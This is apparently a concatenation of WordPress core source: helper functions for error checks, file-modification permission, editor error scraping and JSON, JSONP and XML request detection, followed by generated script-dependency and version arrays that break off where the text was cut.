	return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON );
}

/**
 * Checks whether the given variable is a WordPress Error.
 *
 * Returns whether `$thing` is an instance of the `WP_Error` class.
 *
 * @since 2.1.0
 *
 * @param mixed $thing The variable to check.
 * @return bool Whether the variable is an instance of WP_Error.
 */
function is_wp_error( $thing ) {
	$is_wp_error = ( $thing instanceof WP_Error );

	if ( $is_wp_error ) {
		/**
		 * Fires when `is_wp_error()` is called and its parameter is an instance of `WP_Error`.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_Error $thing The error object passed to `is_wp_error()`.
		 */
		do_action( 'is_wp_error_instance', $thing );
	}

	return $is_wp_error;
}

/**
 * Determines whether file modifications are allowed.
 *
 * @since 4.8.0
 *
 * @param string $context The usage context.
 * @return bool True if file modification is allowed, false otherwise.
 */
function wp_is_file_mod_allowed( $context ) {
	/**
	 * Filters whether file modifications are allowed.
	 *
	 * @since 4.8.0
	 *
	 * @param bool   $file_mod_allowed Whether file modifications are allowed.
	 * @param string $context          The usage context.
	 */
	return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context );
}

/**
 * Starts scraping edited file errors.
 *
 * @since 4.9.0
 */
function wp_start_scraping_edited_file_errors() {
	if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) {
		return;
	}

	$key   = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 );
	$nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] );

	if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) {
		echo "###### wp_scraping_result_start:$key ######";
		echo wp_json_encode(
			array(
				'code'    => 'scrape_nonce_failure',
				'message' => __( 'Scrape key check failed. Please try again.' ),
			)
		);
		echo "###### wp_scraping_result_end:$key ######";
		die();
	}

	if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
		define( 'WP_SANDBOX_SCRAPING', true );
	}

	register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key );
}

/**
 * Finalizes scraping for edited file errors.
 *
 * @since 4.9.0
 *
 * @param string $scrape_key Scrape key.
 */
function wp_finalize_scraping_edited_file_errors( $scrape_key ) {
	$error = error_get_last();

	echo "\n###### wp_scraping_result_start:$scrape_key ######\n";

	if ( ! empty( $error )
		&& in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true )
	) {
		$error = str_replace( ABSPATH, '', $error );
		echo wp_json_encode( $error );
	} else {
		echo wp_json_encode( true );
	}

	echo "\n###### wp_scraping_result_end:$scrape_key ######\n";
}

/**
 * Checks whether current request is a JSON request, or is expecting a JSON response.
 *
 * @since 5.0.0
 *
 * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`.
 *              False otherwise.
 */
function wp_is_json_request() {
	if ( isset( $_SERVER['HTTP_ACCEPT'] ) && wp_is_json_media_type( $_SERVER['HTTP_ACCEPT'] ) ) {
		return true;
	}

	if ( isset( $_SERVER['CONTENT_TYPE'] ) && wp_is_json_media_type( $_SERVER['CONTENT_TYPE'] ) ) {
		return true;
	}

	return false;
}

/**
 * Checks whether current request is a JSONP request, or is expecting a JSONP response.
 *
 * @since 5.2.0
 *
 * @return bool True if JSONP request, false otherwise.
 */
function wp_is_jsonp_request() {
	if ( ! isset( $_GET['_jsonp'] ) ) {
		return false;
	}

	if ( ! function_exists( 'wp_check_jsonp_callback' ) ) {
		require_once ABSPATH . WPINC . '/functions.php';
	}

	$jsonp_callback = $_GET['_jsonp'];
	if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
	$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

	return $jsonp_enabled;
}

/**
 * Checks whether a string is a valid JSON Media Type.
 *
 * @since 5.6.0
 *
 * @param string $media_type A Media Type string to check.
 * @return bool True if string is a valid JSON Media Type.
 */
function wp_is_json_media_type( $media_type ) {
	static $cache = array();

	if ( ! isset( $cache[ $media_type ] ) ) {
		$cache[ $media_type ] = (bool) preg_match( '/(^|\s|,)application\/([\w!#\$&-\^\.\+]+\+)?json(\+oembed)?($|\s|;|,)/i', $media_type );
	}

	return $cache[ $media_type ];
}

/**
 * Checks whether current request is an XML request, or is expecting an XML response.
 *
 * @since 5.2.0
 *
 * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml`
 *              or one of the related MIME types. False otherwise.
 */
function wp_is_xml_request() {
	$accepted = array(
		'text/xml',
		'application/rss+xml',
		'application/atom+xml',
		'application/rdf+xml',
		'text/xml+oembed',
		'application/xml+oembed',
	);

	if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) {
		foreach ( $accepted as $type ) {
			if ( str_contains( $_SERVER['HTTP_ACCEPT'], $type ) ) {
				return true;
			}
		}
	}

	if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) {
		return true;
	}

	return false;
}

/**
 * Checks if this site is protected by HTTP Basic Auth.
 *
 * At the moment, this merely checks for the present of Basic Auth credentials. Therefore, calling
 * this function with a context different from the current context may give inaccurate results.
 * In a future release, this evaluation may be made more robust.
 *
 * Currently, this is only used by Application Passwords to prevent a conflict since it also utilizes
 * Basic Auth.
 *
 * @since 5.6.1
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param string $context The context to check for protection. Accepts 'login', 'admin', and 'front'.
 *                        Defaults to the current context.
 * @return bool Whether the site is protected by Basic Auth.
 */
function wp_is_site_protected_by_basic_auth( $context = '' ) {
	global $pagenow;

	if ( ! $context ) {
		if ( 'wp-login.php' === $pagenow ) {
			$context = 'login';
		} elseif ( is_admin() ) {
			$context = 'admin';
		} else {
			$context = 'front';
		}
	}

	$is_protected = ! empty( $_SERVER['PHP_AUTH_USER'] ) || ! empty( $_SERVER['PHP_AUTH_PW'] );

	/**
	 * Filters whether a site is protected by HTTP Basic Auth.
	 *
	 * @since 5.6.1
	 *
	 * @param bool $is_protected Whether the site is protected by Basic Auth.
	 * @param string $context    The context to check for protection. One of 'login', 'admin', or 'front'.
	 */
	return apply_filters( 'wp_is_site_protected_by_basic_auth', $is_protected, $context );
}
<?php return array('dependencies' => array('wp-react-refresh-runtime'), 'version' => '7f2b9b64306bff9c719f');
<?php return array('dependencies' => array(), 'version' => '8f1acdfb845f670b0ef2');
<?php return array('a11y.min.js' => array('dependencies' => array('wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => 'd90eebea464f6c09bfd5'), 'annotations.min.js' => array('dependencies' => array('wp-data', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => 'ffc4fc3374b0ab000805'), 'api-fetch.min.js' => array('dependencies' => array('wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '4c185334c5ec26e149cc'), 'autop.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9fb50649848277dd318d'), 'blob.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9113eed771d446f4a556'), 'block-directory.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '9159053f41b8ec09d91b'), 'block-editor.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-token-list', 'wp-url', 'wp-warning', 'wp-wordcount'), 'version' => '868d782fcb169133c92b'), 'block-library.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport', 'wp-wordcount'), 'version' => 'd124c0efe2b7eb5bf914'), 'block-serialization-default-parser.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '14d44daebf663d05d330'), 'blocks.min.js' => array('dependencies' => array('react', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode'), 'version' => '6612d078dfaf28b875b8'), 'commands.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-polyfill', 'wp-primitives', 'wp-private-apis'), 'version' => 'e4060e55811e7824feb9'), 'components.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning'), 'version' => 'c4b2ef1c62202e4e2d1e'), 'compose.min.js' => array('dependencies' => array('react', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-priority-queue'), 'version' => '1339d3318cd44440dccb'), 'core-commands.min.js' => array('dependencies' => array('react', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url'), 'version' => '4ee9c423b71a59459ca6'), 'core-data.min.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => 'ff4b03fefe97d027b7fd'), 'customize-widgets.min.js' => array('dependencies' => array('react', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets'), 'version' => '137692724827d41c9fb5'), 'data.min.js' => array('dependencies' => array('react', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine'), 'version' => 'e6595ba1a7cd34429f66'), 'data-controls.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated', 'wp-polyfill'), 'version' => '49f5587e8b90f9e7cc7e'), 'date.min.js' => array('dependencies' => array('moment', 'wp-deprecated', 'wp-polyfill'), 'version' => 'aaca6387d1cf924acc51'), 'deprecated.min.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => 'e1f84915c5e8ae38964c'), 'dom.min.js' => array('dependencies' => array('wp-deprecated', 'wp-polyfill'), 'version' => '4ecffbffba91b10c5c7a'), 'dom-ready.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'f77871ff7694fffea381'), 'edit-post.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-widgets'), 'version' => '56343a8764383c7af560'), 'edit-site.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-reusable-blocks', 'wp-router', 'wp-url', 'wp-viewport', 'wp-widgets', 'wp-wordcount'), 'version' => '5a330f801e7e3583faa8'), 'edit-widgets.min.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '96a3b30b85133de96871'), 'editor.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => '6497dd814badef65e728'), 'element.min.js' => array('dependencies' => array('react', 'react-dom', 'wp-escape-html', 'wp-polyfill'), 'version' => 'cb762d190aebbec25b27'), 'escape-html.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '6561a406d2d232a6fbd2'), 'format-library.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => '66ea4e17a9a3f539c9d5'), 'hooks.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '2810c76e705dd1a53b18'), 'html-entities.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '2cd3358363e0675638fb'), 'i18n.min.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => '5e580eb46a90c2b997e6'), 'is-shallow-equal.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'e0f9f1d78d83f5196979'), 'keyboard-shortcuts.min.js' => array('dependencies' => array('react', 'wp-data', 'wp-element', 'wp-keycodes', 'wp-polyfill'), 'version' => '4d239ebc17efd846a168'), 'keycodes.min.js' => array('dependencies' => array('wp-i18n', 'wp-polyfill'), 'version' => '034ff647a54b018581d3'), 'list-reusable-blocks.min.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'b9d73b532124daefd2c7'), 'media-utils.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-blob', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '1cf582d3c080c8694c8c'), 'notices.min.js' => array('dependencies' => array('wp-data', 'wp-polyfill'), 'version' => '673a68a7ac2f556ed50b'), 'nux.min.js' => array('dependencies' => array('react', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '46c93a71c3e2c2bf37f0'), 'patterns.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => 'ee72aaa0806b06909b48'), 'plugins.min.js' => array('dependencies' => array('react', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-primitives'), 'version' => '2d369cbfdcb887111e06'), 'preferences.min.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-private-apis'), 'version' => 'e1544c6f06a9639c4c31'), 'preferences-persistence.min.js' => array('dependencies' => array('wp-api-fetch', 'wp-polyfill'), 'version' => '3f5184d775ed9dfb154f'), 'primitives.min.js' => array('dependencies' => array('wp-element', 'wp-polyfill'), 'version' => 'a41bfd5835f583ae838a'), 'priority-queue.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '9c21c957c7e50ffdbf48'), 'private-apis.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '5e7fdf55d04b8c2aadef'), 'redux-routine.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'b14553dce2bee5c0f064'), 'reusable-blocks.min.js' => array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '008366ba172a4f4b92b4'), 'rich-text.min.js' => array('dependencies' => array('wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes', 'wp-polyfill'), 'version' => 'dd125966cf6cc0394ae0'), 'router.min.js' => array('dependencies' => array('react', 'wp-element', 'wp-polyfill', 'wp-private-apis', 'wp-url'), 'version' => '92fd517f31b92695552a'), 'server-side-render.min.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => '04ce502cc4eef9b49ce7'), 'shortcode.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'b7747eee0efafd2f0c3b'), 'style-engine.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '03f13c515060de24b556'), 'token-list.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '05f8a6df6258f0081718'), 'undo-manager.min.js' => array('dependencies' => array('wp-is-shallow-equal', 'wp-polyfill'), 'version' => 'f0698003cb0f0a7bd794'), 'url.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '421139b01f33e5b327d8'), 'viewport.min.js' => array('dependencies' => array('react', 'wp-compose', 'wp-data', 'wp-polyfill'), 'version' => 'e555fda1d93ecf1fb1e0'), 'warning.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'ed7c8b0940914f4fe44b'), 'widgets.min.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-polyfill', 'wp-primitives'), 'version' => '4c7bfc488be9e26d6488'), 'wordcount.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => '55d8c2bf3dc99e7ea5ec'));
<?php return array('dependencies' => array('wp-react-refresh-runtime'), 'version' => '7f2b9b64306bff9c719f');
<?php return array('dependencies' => array(), 'version' => '8f1acdfb845f670b0ef2');
<?php return array('a11y.js' => array('dependencies' => array('wp-dom-ready', 'wp-i18n', 'wp-polyfill'), 'version' => 'e4f0f9508f80ce638f3d'), 'annotations.js' => array('dependencies' => array('wp-data', 'wp-hooks', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => 'c136c5f6e2a48de059bb'), 'api-fetch.js' => array('dependencies' => array('wp-i18n', 'wp-polyfill', 'wp-url'), 'version' => 'eb5e80d6477f0bc94063'), 'autop.js' => array('dependencies' => array('wp-polyfill'), 'version' => '5f6a2604c6641fff16b1'), 'blob.js' => array('dependencies' => array('wp-polyfill'), 'version' => '80e277c58e09d6b7e47b'), 'block-directory.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-url'), 'version' => '209d97720556b43a7657'), 'block-editor.js' => array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-token-list', 'wp-url', 'wp-warning', 'wp-wordcount'), 'version' => 'cf9655a2e901e5354782'), 'block-library.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-viewport', 'wp-wordcount'), 'version' => 'd5a0be9af25610c04444'), 'block-serialization-default-parser.js' => array('dependencies' => array('wp-polyfill'), 'version' => '1d1bef54e84a98f3efb9'), 'blocks.js' => array('dependencies' => array('react', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode'), 'version' => '1cdc1594170000ce87b5'), 'commands.js' => array('dependencies' => array('react', 'react-dom', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-polyfill', 'wp-primitives', 'wp-private-apis'), 'version' => '27b86e4aeb0b50354c31'), 'components.js' => array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning'), 'version' => 'fd3882637f2f48054bd3'), 'compose.js' => array('dependencies' => array('react', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-priority-queue'), 'version' => '26d30733522e03eb136b'), 'core-commands.js' => array('dependencies' => array('react', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url'), 'version' => '62e17505b49f6c5f07de'), 'core-data.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => 'a0865df67c20b77269ba'), 'customize-widgets.js' => array('dependencies' => array('react', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets'), 'version' => 'cbc5b5252cd0e7ed0fe9'), 'data.js' => array('dependencies' => array('react', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-polyfill', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine'), 'version' => 'f32512eb1197234b3023'), 'data-controls.js' => array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-deprecated', 'wp-polyfill'), 'version' => '06af18ace9a4aeb126e9'), 'date.js' => array('dependencies' => array('moment', 'wp-deprecated', 'wp-polyfill'), 'version' => 'dd508f9121b7db4da62d'), 'deprecated.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => '1aa7a2722e5853bb3a37'), 'dom.js' => array('dependencies' => array('wp-deprecated', 'wp-polyfill'), 'version' => '0f3d03e15247ad13ae5f'), 'dom-ready.js' => array('dependencies' => array('wp-polyfill'), 'version' => '5b9fa8df0892dc9a7c41'), 'edit-post.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-widgets'), 'version' => '5fb6406633137d60070c'), 'edit-site.js' => array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-commands', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-editor', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-reusable-blocks', 'wp-router', 'wp-url', 'wp-viewport', 'wp-widgets', 'wp-wordcount'), 'version' => '24f5843875e12e83a4ff'), 'edit-widgets.js' => array('dependencies' => array('react', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-viewport', 'wp-widgets'), 'version' => '23a493f9632cfb0e053f'), 'editor.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-polyfill', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-url', 'wp-wordcount'), 'version' => 'a49c9bfd0070c49a3a53'), 'element.js' => array('dependencies' => array('react', 'react-dom', 'wp-escape-html', 'wp-polyfill'), 'version' => 'c577659ff26c570d2a90'), 'escape-html.js' => array('dependencies' => array('wp-polyfill'), 'version' => '6f9dc571b7e633ab5cbb'), 'format-library.js' => array('dependencies' => array('react', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-polyfill', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url'), 'version' => 'ebbf484376382a0eeb31'), 'hooks.js' => array('dependencies' => array('wp-polyfill'), 'version' => '2e6d63e772894a800ba8'), 'html-entities.js' => array('dependencies' => array('wp-polyfill'), 'version' => '62cf41703df6e2ca5d99'), 'i18n.js' => array('dependencies' => array('wp-hooks', 'wp-polyfill'), 'version' => '2aff907006e2aa00e26e'), 'is-shallow-equal.js' => array('dependencies' => array('wp-polyfill'), 'version' => 